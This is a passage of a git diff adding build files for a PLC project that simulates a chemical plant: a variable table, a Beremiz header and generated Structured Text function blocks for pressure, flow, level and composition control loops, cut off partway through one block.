+274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + 